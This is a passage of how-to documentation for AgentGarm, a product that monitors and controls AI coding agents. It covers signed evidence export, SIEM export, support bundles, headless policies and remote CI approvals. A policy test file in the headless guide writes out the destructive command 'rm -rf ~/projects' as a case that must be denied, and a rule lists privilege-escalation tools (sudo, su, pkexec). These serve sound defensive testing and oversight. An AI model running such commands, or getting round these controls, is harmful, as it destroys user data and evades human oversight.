not yet claimed preview: this guide describes a package that has not passed its release gate. Find the task, export its evidence bundle with or without personal fields, verify it with the node's key, know what a valid bundle proves and what it doesn't, hold the machine's records past retention, and hand the bundle over so a third party can check it. No Central Lite is needed. On this page 1.Find the task 2.Export it 3.Verify it with the node's key 4.Read what it proves and what it doesn't 5.Keep the records 6.Hand it over 1. Find the task An export names one task by its full id, a UUID. While it runs, agentgarm status --json lists it under tasks with its task_id; the plain output shows only the last twelve characters. For a task that has ended, agentgarm task list --ended lists your recent ended tasks, newest first, each with its whole id, its agent and when it started and ended; a run's page in the dashboard also has an address that ends in its task id. You can export your own tasks; root can export any user's. Under the non-monitoring profile only root can export, and the bundle says the profile was in force. Every export is recorded in the audit chain. List live tasks with their full ids agentgarm status --json List recent ended tasks with their full ids agentgarm task list --ended Checked by the walk: these commands ran as written on a no-root Linux install. See also Undo what an agent changedPreview what rolling back an agent's task would restore and keep, then apply the rollback from the checkpoint taken before the agent started. 2. Export it agentgarm incident export asks agentgarmd to sign a fresh chain head and writes the task's bundle to a new file with mode 0600; it never writes over an existing one (“exists: choose a new file”). It prints the bundle's SHA-256, how many chain records it holds and how many are stubs, the agentgarm audit verify-bundle command with the --key to check it with, and the command that holds the machine's records. Run it from a terminal of your own: it is refused from inside a governed task, and refused if agentgarmd cannot sign the head. In the local dashboard, a run's page has an Export evidence button that saves the same bundle (without the stored records) and shows its SHA-256 and the verify command; a bundle over 64 MiB is the command's alone. Other tasks' and users' records appear only as stubs, with no content. This task's own records are in clear, as stored: its principal and credential ids, the paths it touched and the commands it ran. Its events and decisions are also given as OCSF 1.9.0 with principals and credentials as keyed hashes that join nothing outside this bundle. --include-personal adds the stored events and decisions themselves and prints a warning: share such a bundle only as your policy on personal data allows. The export is built on macOS and Linux; on Windows it refuses until a later release. Export one task's evidence bundle agentgarm incident export --task --out evidence.tar Export it with the stored events and decisions agentgarm incident export --task --out evidence-personal.tar --include-personal 3. Verify it with the node's key agentgarm audit verify-bundle checks the bundle offline: every file against the bundle's manifest, the manifest's signature, and each chain segment, with the stubs' places proven but not their content. Trust comes only from the --key you give, never from the key inside the bundle: use the one the export printed, or read it on the machine from agentgarm status's node key line. A good bundle prints edge bundle for task …: valid, attributed, then each check as - checked: with what it proves:, and exits 0. Without a key it says self-consistent, NOT attributed and exits 3, since anyone can build a bundle that agrees with itself. A changed, reordered or truncated bundle, or the wrong key, prints INVALID: with the reason and exits 1. Verify the bundle with the key the export printed agentgarm audit verify-bundle evidence.tar --key =ed25519: Verify it with the key agentgarmd wrote, no-root install on Linux agentgarm audit verify-bundle evidence.tar --key "$(cat ~/.local/state/agentgarm/node.pub)" See also Export and verify the audit logExport AgentGarm's hash-chained audit log, check it against the node key that signs its heads, and know what a passing or broken check tells you. 4. Read what it proves and what it doesn't A valid, attributed bundle proves that whoever holds that node key wrote these records, in this order, unchanged since, up to the head signed for the export; records written after it are not in the bundle. It does not prove the machine was not compromised before then, and a stub proves only that a record stood in that place. It is only as good as the key you checked it with, so read the key on the machine itself. On a root install the store and the node key are out of the user's reach. On a no-root install there is no privilege boundary: on Linux the key is a file of yours, and any unsandboxed process of yours could have changed the records before they were signed, so treat its bundle as C. 5. Keep the records An export on the machine places no hold, so retention will still delete the task's records in time. To keep them, place a legal hold on the task, as the export's last line names: retention, shedding, checkpoint clean-up and rollback then leave what it covers alone. Each hold is recorded in the audit chain; root releases a hold placed on the machine. Hold one task's records, root install sudo agentgarmd legal-hold place --scope task: --reason "incident review" Hold one task's records, no-root install agentgarmd legal-hold place --scope task: --reason "incident review" --user See also Set retention, legal holds and data-subject requestsSet how long Central Lite keeps each class of record, put a legal hold on the records a case needs, and answer a person's access or erasure request. 6. Hand it over Give the reviewer the bundle, its SHA-256 and the node key, the key by another channel than the bundle. The bundle is a plain tar of manifest.json, manifest.sig, the chain run in ocsf.jsonl and the payload files (task.json, events.ocsf.jsonl, decisions.ocsf.jsonl, and with --include-personal events.jsonl and decisions.jsonl), so tar -tf lists it. They check it with the same agentgarm audit verify-bundle command on their own machine, with no network and no store. List the bundle's files, and its SHA-256 to compare tar -tf evidence.tar shasum -a 256 evidence.tar See also Investigate a task across the fleetRead a task's timeline in Central Lite with its gaps, export a bundle the org root's evidence key signs, verify it offline and hold its records. Next guide: Send agent events to your SIEMpreviewAll how-to guides # Send agent events to your SIEM URL: https://agentgarm.com/docs/how-to/siem Docs › How-to guides › Send agent events to your SIEM Guide 39 of 61 · Investigating and recovering Send agent events to your SIEM Turn on agentgarmd's exporters: OCSF events to your SIEM, OTel GenAI spans and token metrics to your collector, and notice when an export stops. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Turn on agentgarmd's exporters in default.yaml, ship the OCSF file of events and findings to your SIEM, send the OTel GenAI spans and token metrics to your collector over OTLP, know which field holds what, and notice when an export stops. On this page 1.Decide what may leave the machine 2.Turn on the export in default.yaml 3.Ship the OCSF file to your SIEM 4.Send spans and token metrics over OTLP 5.Map the fields 6.Notice when an export stops 1. Decide what may leave the machine Each machine's agentgarmd exports what it has stored itself. On a fleet, Central Lite can forward the security and audit events every machine uploads instead, with one SIEM credential (Send the fleet's security events to Splunk or Sentinel); the two can run side by side. Every field the event taxonomy marks personal, such as a principal, a path, a remote host or a free-text reason, leaves only as a keyed hash under your tenant's pseudonymisation key. Prompt and response text never leave. A node enrolled in Central Lite uses the key Central Lite gave it, so the hashes join across your machines; a node never enrolled uses a key of its own. Central Lite forwards the hashes nodes uploaded unchanged, so the same person carries the same pseudonym in both exports and they join in your SIEM. Under the non-monitoring compliance profile (non_monitoring in a policy) only security and audit events and decisions leave, with personal fields removed rather than hashed, besides the hourly activity aggregates; no span, metric or cost row is produced. agentgarm status shows the profile on its compliance profile line. Check the compliance profile agentgarm status See also Prepare a works-council or DPIA packGenerate templates that describe what your deployment collects, keeps and sends, and switch the fleet to the non-monitoring profile during talks. 2. Turn on the export in default.yaml The export is the host-scope export section, read from default.yaml only and bounded by the policy schema; without it nothing is exported. Add it to the default.yaml in your policy directory (/etc/agentgarm/agents.d on a root Linux install), then restart agentgarmd, which reads the directory when it starts. On a node enrolled in Central Lite, put the export section in the policy bundle Central Lite publishes instead: while a bundle is in force, it replaces the agents.d files and a local file is not read. A new export starts from what is stored after it is turned on: nothing older is sent. If default.yaml stops loading, the export pauses where it was, and what is stored meanwhile is held to the non-monitoring profile. An export section: OCSF to a file, OTel to a collector export: window_seconds: 60 # the token metrics window, 10 to 3600 seconds file: # /export ocsf: true # ocsf.jsonl: OCSF 1.9.0 events and findings otel: false # otel.jsonl: the same spans and metrics as OTLP/JSON lines focus: false # the daily FOCUS cost files otlp: endpoint: https://otel-collector.example.internal:4318 # /v1/traces and /v1/metrics below it tls_spki_sha256: 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 traces: true metrics: true Restart agentgarmd, root install sudo systemctl restart agentgarmd # Linux sudo launchctl kickstart -k system/com.agentgarm.agentgarmd # macOS Restart agentgarmd, no-root install systemctl --user restart agentgarmd # Linux launchctl kickstart -k gui/$(id -u)/com.agentgarm.agentgarmd # macOS 3. Ship the OCSF file to your SIEM With file.ocsf on, agentgarmd appends OCSF 1.9.0 events and findings, one JSON object per line, to ocsf.jsonl in its own export directory, a 0700 directory in its state directory: root's on a root install, yours on a no-root one. Point your log shipper at that file; it rotates past max_file_bytes (64 MiB by default) to ocsf.jsonl.1 and on, keeping max_files (8 by default). The file is readable only by agentgarmd's user (root on a root install, you on a no-root install), so run the shipper as that user. Delivery is at least once: a write that fails is retried whole, so a line can repeat. Deduplicate on metadata.uid, the event or decision id. OCSF goes to the file only; the OTLP sink carries no OCSF. A file section also turns on, unless you set them to false as the example does, otel (the spans and token metrics as OTLP/JSON lines in otel.jsonl) and focus (each day's FOCUS cost rows as focus-.csv, kept 31 days). Every hold placed on a task, and every kill order a machine applies, is a record too preview: a task suspended (Medium) and a machine locked down (High) are Detection Findings (2004) with the hold, the order id, the reason and the assurance of the stop, and an order lifted locally by root is a High alert; a task resumed and a lockdown lifted are Base Events (0). An evidence bundle carries its own OCSF copy of one task's records, apart from this file. Read the newest OCSF line, root install on Linux sudo tail -n 1 /var/lib/agentgarm/export/ocsf.jsonl 4. Send spans and token metrics over OTLP The otlp sink posts protobuf to /v1/traces and /v1/metrics under the endpoint: a span for each model call, local runtime call and MCP call, and each window's delta token metrics. The endpoint must be https://, and tls_spki_sha256, the lowercase hex SHA-256 of the collector's public key, is required: the pin is the trust anchor. http:// is refused even on loopback, since any local user could take the port while the collector is down. No credential is ever sent. An outage is retried with backoff, honouring Retry-After. The queue holds 256 requests and 8 MiB; past that the oldest is dropped and alerted. 5. Map the fields Denies and asks are Detection Findings (2004), with the rule id in finding_info.analytic.uid; bypass, tamper and degraded-assurance alerts are Detection Findings too, and DLP findings are Data Security Findings (2006) carrying rule ids, never the secret. Tool, model and MCP calls are API Activity (6003), file operations File System Activity (1001) and connections Network Activity (4001). What OCSF has no place for is under unmapped.agentgarm: the event type, the layer, the assurance level and the minimised payload. On a Mac preview, the airbag's decisions on desktop input (DesktopInputEvent: the target app, the element's role and title, the poster, the action and the rule id) and the capture monitor's changes (CaptureEvent: the privacy service, the change, the sensitive app and the action) have no OCSF class either: they are Base Events (0) with the payload there. metadata.correlation_uid is the task id, so a task's events group together; in OTel, every span of a task shares a trace id, a keyed hash of the task id. A hook's tool call is in OCSF only, never a span. See also Trace what one agent task didFind an agent's task in the dashboard, read every decision its policy made with the rule behind it, and follow the run from first decision to last. 6. Notice when an export stops Exporting never holds up enforcement: it runs on its own thread, and the store keeps every record within its retention whatever happens to it. A refused configuration, a file it cannot write, a full queue, a 15-minute collector outage or a missing key raises a host-wide AssuranceDegraded with the reason EXPORT_DEGRADED, chained in the audit log. agentgarm status does not show the exporters' state; these alerts are their record. Each day, except under the non-monitoring profile, the token counts in the OTel metrics, the OCSF calls and the FOCUS rows are checked against each other, and a disagreement raises the same alert. For evidence that must verify, export the audit chain as OCSF and check it with agentgarm audit verify. See also Export and verify the audit logExport AgentGarm's hash-chained audit log, check it against the node key that signs its heads, and know what a passing or broken check tells you. Next guide: Send the fleet's security events to Splunk or SentinelpreviewAll how-to guides # Send the fleet's security events to Splunk or Sentinel URL: https://agentgarm.com/docs/how-to/siem-central Docs › How-to guides › Send the fleet's security events to Splunk or Sentinel Guide 40 of 61 · Investigating and recovering Send the fleet's security events to Splunk or Sentinel Have Central Lite forward the fleet's security and audit events, its own audit log and its alerts as OCSF to Splunk or Microsoft Sentinel. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Know what Central Lite sends and what stays on the machines, connect Splunk's HTTP Event Collector or Microsoft Sentinel's Logs Ingestion API, search what arrives, read a sink's lag, rejects and gaps, and rotate its credential. At the end one Central Lite feeds your SIEM for the whole fleet, with one credential to look after. On this page 1.Know what Central Lite sends and what stays on the machines 2.Connect Splunk 3.Connect Microsoft Sentinel 4.Read lag, rejects and gaps 5.Rotate a credential 1. Know what Central Lite sends and what stays on the machines Machines already upload their security and audit events to Central Lite, so Central Lite can forward the fleet's record with one SIEM credential instead of one on every machine. A sink sends, as OCSF 1.9.0: the uploaded security and audit events (operational if you ask; never telemetry), Central Lite's own audit log (sign-ins, admin actions, SCIM and role changes, kill orders and legal holds) and its alerts. A new sink starts from what arrives after it is added: nothing older is sent. Every personal field arrives as the same keyed pseudonym the machines use (kh1:), so an event from Central Lite and the same person's events from a machine's own export join in your SIEM. Prompt and response text never leave the machines, and a machine under the non-monitoring profile uploads less in the first place. Delivery is at least once: deduplicate on metadata.uid. A sink never holds anything up: machines keep uploading, and enforcement never waits on a SIEM. Every problem with a sink is a Central Lite alert, forwarded too once the sink recovers. Adding, changing and pausing sinks needs the owner role in the console. See also Send agent events to your SIEMTurn on agentgarmd's exporters: OCSF events to your SIEM, OTel GenAI spans and token metrics to your collector, and notice when an export stops. 2. Connect Splunk In Splunk, make an HTTP Event Collector token allowed to write only to the index you choose, and save it in a file only Central Lite's account can read. garm-central siem add splunk takes HEC's https:// URL (a port such as :8088 is allowed), the token file, the index, and --ack to move on only once Splunk confirms each batch is indexed, which Splunk Enterprise offers and Splunk Cloud does not. The token is sealed in Central Lite's keystore, never in its database, its logs or its audit log. Batches stay under 1,000,000 bytes, Splunk Cloud's limit, and are sent uncompressed. Splunk's certificate is checked against the platform's trusted authorities. A self-hosted Splunk with a certificate of its own can be pinned by its key instead: --pin-spki takes the SHA-256 of the certificate's public key in hex, and Central Lite then accepts that key alone, whoever issued the certificate (openssl x509 -in hec.crt -pubkey -noout | openssl pkey -pubin -outform der | sha256sum prints it). When the certificate is renewed with a new key, garm-central siem set-pin pins the new one (or --clear goes back to the trusted authorities) and the sink carries on from where it was. Its host name must still resolve to a public address: Central Lite never sends events to a private one. garm-central siem test splunk sends one test finding and prints Splunk's answer. Events arrive with sourcetype ocsf:agentgarm, so Splunk's OCSF-CIM add-on can map them, and Splunk indexes every OCSF field for searches like the one below. In the console, Settings → SIEM adds, tests, pauses and edits a sink the same way, each with a passkey. Add a Splunk sink and test it, on the Central Lite host garm-central siem add splunk --url https://splunk.example:8088 --token-file hec.token --index agentgarm --ack garm-central siem test splunk Search the last day's findings, in Splunk index=agentgarm sourcetype="ocsf:agentgarm" class_uid=2004 earliest=-24h | stats count by severity, finding_info.title 3. Connect Microsoft Sentinel Central Lite writes to one custom table, AgentGarmOCSF_CL, through the Logs Ingestion API. Deploy the table and its data collection rule from Central Lite's template, deploy/sentinel/agentgarm-ocsf.bicep (or the ARM JSON beside it), into your Sentinel workspace's resource group; it outputs the rule's immutable id and its logs ingestion endpoint. Register an application in Entra ID, upload a certificate to it as for single sign-on, and give it the Monitoring Metrics Publisher role on that rule; the role can take 30 minutes to apply. garm-central siem add sentinel takes the endpoint, the rule's id, your tenant, the application's client id, and the certificate and its RSA key, of which only the key is sealed. A client secret (--secret-file) also works, but a certificate is preferred. Data can take 15 minutes to appear. Sentinel has no OCSF support of its own, so the table promotes the class, category, severity, activity, ids of the event, machine and actor to columns and keeps the whole event in RawData; query it in KQL as below. For long retention, the Basic and Auxiliary table plans cost less. Deploy the table and rule, with the Azure CLI az deployment group create --resource-group --template-file deploy/sentinel/agentgarm-ocsf.bicep --parameters workspaceName= Add a Sentinel sink and test it, on the Central Lite host garm-central siem add sentinel --endpoint --dcr --tenant --client-id --cert-file siem.crt --key-file siem.key garm-central siem test sentinel Read the last day's findings, in Sentinel AgentGarmOCSF_CL | where TimeGenerated > ago(1d) and class_uid == 2004 | project TimeGenerated, severity_id, device_uid, title = tostring(RawData.finding_info.title) 4. Read lag, rejects and gaps garm-central siem list, or Settings → SIEM, shows each sink's state (active, paused, or stopped), how far behind it is, its rejects and gaps, its last delivery and its last error. A SIEM that is down or busy is retried, backing off up to 5 minutes; after 5 failed tries Central Lite alerts siem_sink_failing, and a sink more than 15 minutes behind raises siem_lag. A refused credential (401 or 403) stops the sink (siem_credential_refused), and so does a setting the SIEM refuses for every event, such as an index the token may not write (siem_sink_misconfigured); fix it, then garm-central siem resume, or Resume in the console, carries on from where it stopped. An event the SIEM refuses on its own is set aside as a reject (siem_rejects) and the rest go on. If a sink stays stopped longer than retention keeps its events, retention wins: the range it could not send is recorded as a gap (siem_gap), chained in the audit log, and skipped. garm-central siem show lists a sink's newest rejects, with the SIEM's message, and its gaps; the console shows only their counts. Read every sink, then one sink's rejects and gaps, on the Central Lite host garm-central siem list garm-central siem show splunk garm-central siem resume splunk The console's SIEM settings: each sink with its state, lag, rejects and gaps, and its actions 5. Rotate a credential In the console, Settings → SIEM, edit the sink and give the new HEC token or client secret, with a passkey: Central Lite seals the new one, erases the old one, and the sink carries on from where it was. Leave the field empty to keep the stored credential. On the host, garm-central siem set-credential does the same from a file, and is how a Sentinel sink gets a certificate (or goes back to a client secret): the sink keeps its settings and carries on from where it was, so nothing is skipped. Upload the new certificate to the application before you switch, and remove the old one after. Credentials are not in Central Lite's backups: after a restore, each sink stops with “credential not in this Central's keystore” until you set its credential again, which also restarts it. Settings → SIEM also removes a sink and shows its rejects and gaps in detail. Replace a Sentinel sink's certificate, on the Central Lite host garm-central siem set-credential sentinel --cert-file siem-new.crt --key-file siem-new.key See also Back up and restore Central LiteWrite Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. Next guide: Send a redacted support bundleAll how-to guides # Send a redacted support bundle URL: https://agentgarm.com/docs/how-to/support-bundle Docs › How-to guides › Send a redacted support bundle Guide 41 of 61 · Investigating and recovering Send a redacted support bundle Write a JSON file of diagnostics with your home directory, user and host names and the secrets AgentGarm recognises redacted, sent only when you share it. Steps marked preview rely on a package that has not passed its release gate. Write one JSON file with what someone triaging a problem needs: doctor's checks, the state of AgentGarm's components, your agents and policies by name and hash, and any crash reports. You see what it holds and what it leaves out, the home directory, user and host names of the user who runs it and every secret AgentGarm recognises are redacted before it is written, and nothing is sent until you decide to share it. On this page 1.Write the bundle 2.Read what it holds 3.Read key custody and session recognition 4.Check what is left out and redacted 5.Include agentgarmd's crash reports on a root install 6.Upload it to your own Central Lite 1. Write the bundle agentgarm doctor --bundle runs doctor's checks and also writes the bundle to the file you name, then ends (without --json) with support bundle written to and the path. The file is new, readable only by you (mode 0600), and sent nowhere. An existing file is never replaced: the command refuses with exit 2 and writes nothing, so pick a new name each time. The bundle is written even when a check fails, in which case doctor exits 1 as it always does. Write a support bundle agentgarm doctor --bundle agentgarm-support.json Checked by the walk: this command ran as written on a no-root Linux install, and the output showed support bundle written to. See also Check that protection is onSee whether AgentGarm's services are up, what assurance level each agent session has and why, and what to do about a bypass alert. 2. Read what it holds The bundle is one JSON document. Each entry of sections has a name, the data_class it belongs to and its content: doctor: every check and its advice. components: agentgarmd's mode and socket, agentgarm-session's proxy port and health, and the daemon and catalog versions. agents: the installed agents, their versions and support status. policies: each policy file's name, whether it loaded, path, content hash, modification time and whether it changed on disk. For a skipped file, only the error's class and the JSON pointer of the first schema error. tasks: each live task's agent, assurance level, any demotion and its per-class breakdown, without task ids. alert_counts: how many of each alert type, never the alerts themselves. crash_reports: crash reports reduced to where and in which build the crash happened. List the sections and their data classes jq '.sections[] | {name, data_class}' agentgarm-support.json Checked by the walk: this command ran as written on a no-root Linux install, and the output showed data_class. 3. Read key custody and session recognition preview Builds after Phase 1 also add a key_custody section, where each key is held, as metadata only, never key material, and in components, how agentgarmd recognises the session. 4. Check what is left out and redacted The bundle's excluded list names what it never holds: prompt and response bodies, tool arguments and command lines, event payloads and decision records, policy contents and policy error text, keys, tokens and credentials, the audit log, and checkpoint contents. The rest is redacted twice. In every string value, your home directory becomes ~ and your user and host names become and ; names shorter than three characters are left alone. Then every secret AgentGarm's DLP recognises is replaced with a placeholder. If a secret is found that cannot be replaced, nothing is written. Read the file before you share it: redaction covers what AgentGarm recognises, not everything you might consider private. So a support bundle is not evidence of what an agent did: it holds no audit records and is not signed. For that, export the task's evidence bundle, which a reviewer verifies against the machine's key. Show what the bundle leaves out jq '.excluded' agentgarm-support.json Checked by the walk: this command ran as written on a no-root Linux install, and the output showed prompt and response bodies. See also Export evidence for one taskWrite one task's signed evidence bundle on its machine, verify it with the node's key, hold its records, and hand it to someone else to check. 5. Include agentgarmd's crash reports on a root install A crash report in the bundle keeps the component, version, platform, time, location, symbol names, frame offsets and build identity, and never the panic message, which can quote the data being handled; the message stays in the local spool. On a root install agentgarmd's spool is readable only by root, so a bundle written as yourself lists it under unreadable_spools. Run the command with sudo to include it; doctor then warns that it is running as root, which is expected here. Under sudo the bundle redacts root's user name, not yours; on Linux it also redacts root's home directory instead of yours, and reads root's crash spool instead of yours. Read it before you share it, and keep the bundle you wrote as yourself as well. Write a bundle with agentgarmd's crash reports, root install sudo agentgarm doctor --bundle agentgarm-support-root.json 6. Upload it to your own Central Lite preview Without --upload the bundle leaves your machine only if you send the file yourself. On a root install enrolled in your organisation's self-hosted Central Lite, --upload also hands the written bundle to the root agentgarmd, which checks that its own DLP finds no secret in it and uploads it under the node's identity, then prints its id and SHA-256. Central Lite is the only destination: a node that is not enrolled, and a no-root install, have none. A refused upload (not enrolled, a secret still found, Central Lite unreachable) fails the command, and the file stays for review. On Central Lite, an administrator lists uploaded bundles and writes one out to a file; it reaches anyone else only if they send that file. Write and upload a bundle, root install enrolled in Central Lite sudo agentgarm doctor --bundle agentgarm-support-upload.json --upload Read uploaded bundles, on the Central Lite host garm-central support list garm-central support get BUNDLE_ID --out node-bundle.json Next guide, in CI, containers and servers: Govern agents on a headless server or containerAll how-to guides # Govern agents on a headless server or container URL: https://agentgarm.com/docs/how-to/headless Docs › How-to guides › Govern agents on a headless server or container Guide 42 of 61 · CI, containers and servers Govern agents on a headless server or container Check what a server or container offers, set a policy to the headless profile so every ask is denied instead of waiting, and test it before you install it. Steps marked preview rely on a package that has not passed its release gate. Check what a server or container offers AgentGarm and which profile fits it, set a policy to the headless profile so every ask is denied instead of waiting for someone who is not there, test that before you install it, and, on a node enrolled in Central Lite, send the asks you choose to a remote approver's passkey. On this page 1.Check what the host offers 2.Read the detected topology 3.Set the policy to the headless profile 4.Test the change before you install it 5.Put the copy in force 6.Send chosen asks to a remote approver 1. Check what the host offers agentgarmd self-check reports what the host offers each enforcement layer (the sandbox, cgroup v2, the active security modules, key custody), and each gap with what it costs in assurance, on a line starting ->. It is read-only and creates nothing. Its environment: line names the container runtime and CI provider it detects, whether the session is headless (on Linux, no DISPLAY or WAYLAND_DISPLAY), and the recommended profile: ephemeral in CI, else container in a container, else headless in a headless session, else interactive. It describes the process that runs it, so run it from the session that will run the agents, with --user on a no-root install. agentgarmd also runs it at start and records it, and agentgarm status shows the count of gaps on its self-check line. Check the host, no-root install agentgarmd self-check --user Check the host as JSON, no-root install agentgarmd self-check --user --json Check the host, root install agentgarmd self-check Checked by the walk: these commands ran as written on a no-root Linux install and a root install on Linux. 2. Read the detected topology preview The same environment: line also names the session's topology. The recommended profile follows it too: container in a dev container, Codespaces or Coder, and headless in an SSH session. 3. Set the policy to the headless profile profile is a setting of each policy file: interactive (the default), headless, ephemeral or container. agentgarmd never changes it from the self-check, so set it in the policy for each agent that runs unattended. Under headless every ask rule's verdict becomes deny, with no prompt and no local Touch ID or security key. The policy evaluator does this, so it holds on root and no-root installs alike. The example's terraform-apply rule is marked approval: remote: on a machine that is not enrolled in Central Lite it is denied like any other ask, and the last step covers sending it to a remote approver. container, like interactive, keeps the ask: it goes to presence or the agent's own prompt, so use headless where nobody will answer one. For CI jobs, agentgarmd has its own ephemeral profile; CI and dev containers covers it. A headless policy with two ask rules schema: agentgarm.com/schemas/agents/v1 name: claude-code mode: enforce profile: headless security_boundaries: execution: rules: - id: privilege-escalation ask: { exec: [sudo, sudoedit, su, doas, pkexec, run0] } - id: terraform-apply ask: { exec: [terraform], args_match: "apply*", approval: remote } 4. Test the change before you install it Make a copy of the policy with profile: headless and mode: enforce: the pack ships in audit mode, which denies nothing, so the profile alone changes no outcome (see Switch to enforce). Then replay what it must decide with agentgarm policy test. A command the pack would ask about now shows -> deny, and with -v its reason ends in (ask denied: headless profile). policy test shows the enforce verdict even for an audit-mode file, so check the mode yourself. agentgarm policy lint reports headless_ask, information that the profile turns every ask rule into a deny. Make a headless copy of the Claude Code pack, no-root install on Linux sed -e 's/^profile: interactive$/profile: headless/' -e 's/^mode: audit$/mode: enforce/' ~/.config/agentgarm/agents.d/claude-code.yaml > claude-code-headless.yaml Replay an ask and an allow against the copy echo '{"exec": "rm -rf ~/projects", "cwd": "/work", "expect": "deny"}' > headless-tests.jsonl echo '{"exec": "git status", "cwd": "/work", "expect": "allow"}' >> headless-tests.jsonl agentgarm policy test claude-code-headless.yaml --against headless-tests.jsonl -v agentgarm policy lint claude-code-headless.yaml Checked by the walk: these commands ran as written on a no-root Linux install, and the output showed (ask denied: headless profile). See also Test a policy before you ship itWrite what a policy must allow, ask about and deny as a file of events, replay it before you install the policy, and keep both in your repository. 5. Put the copy in force agentgarmd picks a policy by its file name, not its name:, so the copy must replace the agent's own file, claude-code.yaml: under another name it governs an agent of that name, not Claude Code. agentgarmd keeps enforcing the file it loaded until it restarts, so restart it (other installs as in the first guide). agentgarm status then lists the file with its new content hash. Replace the pack with the copy, no-root install on Linux cp claude-code-headless.yaml ~/.config/agentgarm/agents.d/claude-code.yaml Restart agentgarmd, no-root install on Linux systemctl --user restart agentgarmd Check status agentgarm status Checked by the walk: these commands ran as written on a no-root Linux install. 6. Send chosen asks to a remote approver preview An ask rule marked approval: remote, like terraform-apply above, is not simply denied under headless when the node is a root install enrolled in your Central Lite and its org root metadata lists an approver set. agentgarmd sends the request through Central Lite, an approver approves it with their passkey on the console's approvals page within 10 minutes, and agentgarmd verifies the approver's signature itself. The call stays denied meanwhile; once approved, the agent's next try of exactly that call is allowed, once. The node reads the approver set afresh for every request, answer and retry, so a new approver set, a revoked approver or certificate, or agentgarm node leave applies at once, voiding an approval not yet used. Anything that fails keeps the call denied: a node that is not enrolled, no approver set, Central Lite unreachable, a refused answer, an expiry. Approvals rate B under an org root of at least two keys whose custody the org declares offline, and C under Central Lite's own single software root key, since whoever controls Central Lite's host could list an approver of their own. Under an interactive policy, approval: remote is an ordinary ask. An enrolled server also takes fleet kill orders. With nobody at its keyboard, nobody reads its agentgarm status: a suspended task just stops, and under a lockdown a scheduled agentgarm run fails with the order's reason in its log. Follow the server from Central Lite instead, with each node's answer to the order (Stop agents across a fleet), and from its SIEM export. Enrol the node in Central Lite, root install sudo agentgarm node enrol # reads the one-time enrolment token from stdin Set and list the approver set, on a Central Lite host garm-central root lite --approvers approvers.json garm-central approver list Next guide: Approve a CI job's risky step from your laptoppreviewAll how-to guides # Approve a CI job's risky step from your laptop URL: https://agentgarm.com/docs/how-to/ci-approvals Docs › How-to guides › Approve a CI job's risky step from your laptop Guide 43 of 61 · CI, containers and servers Approve a CI job's risky step from your laptop Mark the commands a CI job may wait on a person for, and approve the job's request from the console with your passkey, for exactly that call, once. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Have Central Lite attest your CI jobs, mark the commands that may wait for a person with approval: remote, list the passkeys that may approve them, and approve a job's request from the console with your passkey: the job's agentgarmd checks your signature itself and lets exactly that call through, once. On this page 1.Let Central Lite attest the job 2.Mark the steps that may wait for a person 3.List the passkeys that may approve 4.Read what the job asks 5.Approve with your passkey, or deny 6.Know what an approval is worth 1. Let Central Lite attest the job A remote approval needs an attested job: the job proves who it is to your Central Lite with its GitHub Actions OIDC token, and Central Lite checks it against an allow-list before it issues the job an ephemeral certificate. On the Central Lite host, accept GitHub's issuer (the default) and allow the workflow by its numeric owner and repository ids and its job_workflow_ref; names are refused, and the token's sub is never matched. garm-central ci trust prints the central-trust line the job needs to check Central Lite before it sends its token; it is not secret. A self-hosted runner's certificate lives 6 hours unless garm-central ci config --max-job-hours sets 1 to 120 (GitHub-hosted runners always get 6), and garm-central ci jobs lists the jobs Central Lite has attested, newest first. In the workflow, the AgentGarm action takes central-url and central-trust, and the job must grant permissions: id-token: write. The action is not published yet; beta customers get it on request (see AgentGarm in CI). A token Central Lite refuses fails the job, so no agent runs unattested. Accept GitHub's runner tokens and allow one workflow, on the Central Lite host garm-central ci issuer add garm-central ci allow add --repository-owner-id 1234567 --repository-id 7654321 --job-workflow-ref my-org/my-repo/.github/workflows/agents.yml@refs/heads/main garm-central ci show garm-central ci trust 2. Mark the steps that may wait for a person An attested job runs only the policy Central Lite publishes; it never reads agents.d, and it fails if no bundle is in force. In a CI job agentgarmd runs with the ephemeral profile, which turns every ask into a deny, whatever the policy's own profile. An ask rule marked approval: remote is the exception: it waits for a remote approver instead. It applies to command rules only, and not with run_as: agentgarmd. Here terraform apply waits for an approver. sudo is an ask without approval: remote, so the ephemeral profile turns it into a deny. Commit the policy to the repository Central Lite pulls and publish it with a committer's attestation, as every bundle. An ask that waits for a remote approver security_boundaries: execution: rules: - ask: { exec: [terraform], args_match: "apply*", approval: remote } - ask: { exec: [sudo], presence: required } Publish the policy, on the Central Lite host garm-central policy publish See also Govern agents on a headless server or containerCheck what a server or container offers, set a policy to the headless profile so every ask is denied instead of waiting, and test it before you install it. 3. List the passkeys that may approve Approvers are listed in your org root metadata, which the job verifies against central-trust, so Central Lite's online keys cannot add one. Create a passkey for Central Lite's host name and write its credential id and its ES256 public key as an uncompressed SEC1 point (65 bytes, starting 04), both in hex, into an approvers file: {"rp_id": "", "origins": ["https://[:port]"], "keys": [{"id": "", "credential_id": "", "public_key": ""}]}. A COSE or SPKI export of the key is refused. Each id is lowercase letters, digits and ._@-, starting with a letter or digit, at most 64 characters. Central Lite refuses a file that does not allow its exact own origin, port included when it is not 443, since approvers answer on its console, and an admin's sign-in passkey never approves: keep the approver passkey separate. On Central Lite, garm-central root lite --approvers signs the set into the next metadata version with Lite's own root key. A job takes the set in force when it starts. The same set approves fleet kill orders: two of these keys sign each order and each lift, and every node checks them (Stop agents across a fleet). A kill order does not reach CI jobs, though: its blast radius leaves CI nodes out as not covered, and a job's own channel refuses kills, so stop a job from your CI provider. Sign the approver set into the root metadata, on a Central Lite host garm-central root lite --approvers approvers.json garm-central approver list See also Stand up Central LiteSet up Central Lite on one Linux host: its org and keys, its HTTPS port, a first admin and a backup passkey, and its first encrypted backup. 4. Read what the job asks When the agent runs a command the rule marks, agentgarmd sends a request to Central Lite and denies the call for now; the agent is told awaiting remote approval: retry. The request lives 10 minutes, and the call is allowed only on a retry after it is approved. At most 3 requests wait per task and 16 on the runner; Central Lite holds at most 8 pending per node. Sign in to the console as an admin and open Approvals. Each request is a card marked Remote approval, with the node, the time left, and the command as the node wrote it, secrets replaced and at most 512 characters, under “A job on this node asks to run exactly this:”. The text crosses to Central Lite. Under the non-monitoring compliance profile no ask is sent: it is denied on the runner. 5. 